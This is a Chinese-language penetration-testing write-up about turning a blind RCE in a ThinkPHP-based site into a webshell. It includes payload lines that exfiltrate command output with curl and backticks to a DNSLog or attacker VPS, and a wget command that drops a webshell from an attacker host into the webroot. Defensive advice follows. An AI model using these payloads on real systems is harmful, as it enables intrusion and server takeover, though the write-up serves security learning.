【实战】无回显Rce到Getshell
字数 1335 2025-08-20 18:18:40
无回显RCE到Getshell实战教学文档
1. 漏洞发现与初步分析
1.1 初始发现
- 通过测试登录界面时修改参数触发Debug信息泄露
- 从Debug信息中获取关键信息:
- 系统使用ThinkPHP框架
- 根目录路径:
/www/wwwroot/devorder/public - 只能访问Public目录下的文件,无法直接访问runtime目录
1.2 版本识别
- 在页面底部发现CMS版本号
- 通过公开漏洞数据库查找该版本已知漏洞
2. RCE漏洞利用
2.1 漏洞确认
- 发现存在变量覆盖导致的RCE漏洞
- 参考漏洞分析:ThinkPHP变量覆盖RCE分析
2.2 绕过限制
- 直接执行命令的函数被禁用(disable_functions限制)
- 部分执行命令函数会返回登录界面,执行状态未知
3. 无回显RCE验证技术
3.1 DNSLog技术
- 使用在线DNSLog平台验证命令执行
- 原理:通过让目标服务器向特定子域名发起请求来确认命令执行
- 初始尝试ping命令失败(可能ICMP被拦截)
- 改用curl请求子域名成功验证RCE存在
3.2 命令回显获取
- 使用CEYE平台或自建VPS接收回显
- 技术实现:
curl http://VPS/`command`- 反引号包裹的命令会先执行,结果拼接到URL中
- 示例:执行
whoami后访问http://VPS/www,确认Web服务以www用户运行
4. Getshell技术
4.1 反弹Shell尝试
- 尝试bash反弹Shell未成功(原因未明确)
4.2 文件写入方法
- 尝试
echo >>写入失败 - 改用wget下载Webshell:
wget http://attacker/shell.php -O /path/to/webroot/shell.php
4.3 路径确认
- 通过Debug信息中的路径写入失败
- 通过查找Web目录下的登录界面获取真实绝对路径
- 最终成功通过wget下载Webshell到正确路径
5. 关键技术与工具
5.1 常用验证技术
-
DNSLog验证:
- 适用于无回显场景
- 可验证RCE、SQL注入等漏洞
- 参考文章:DNSLog在渗透测试中的应用
-
VPS日志回显:
- 自建Web服务接收命令输出
- 查看访问日志获取命令执行结果
5.2 常用Payload
- 命令执行验证:
curl http://dnslog.ceye.io/`whoami` - 文件下载:
wget http://attacker/shell.php -P /target/path
6. 疑难问题与解决方案
-
ICMP被拦截:
- 改用HTTP协议(curl)进行验证
-
路径不准确:
- 通过查找Web目录下的已知文件确认真实路径
- 结合Debug信息和实际文件位置进行验证
-
写入权限问题:
- 尝试多种写入方法(echo、wget等)
- 确保目标目录有写入权限
7. 防御建议
-
针对RCE漏洞:
- 及时更新框架和CMS版本
- 禁用危险函数(disable_functions)
- 严格过滤用户输入
-
针对信息泄露:
- 生产环境关闭Debug模式
- 限制敏感目录访问
-
系统加固:
- 限制Web服务器权限
- 监控异常出站请求(如DNSLog请求)
- 设置文件上传和目录写入权限
8. 扩展学习
-
ThinkPHP漏洞:
- 研究不同版本的已知漏洞
- 了解变量覆盖等漏洞原理
-
无回显利用技术:
- 学习更多无回显利用方法(如时间盲注、OOB技术)
- 掌握多种协议(DNS、HTTP、ICMP)在渗透测试中的应用
-
权限提升技术:
- 研究从www-data到更高权限的提权方法
- 学习Linux系统服务漏洞利用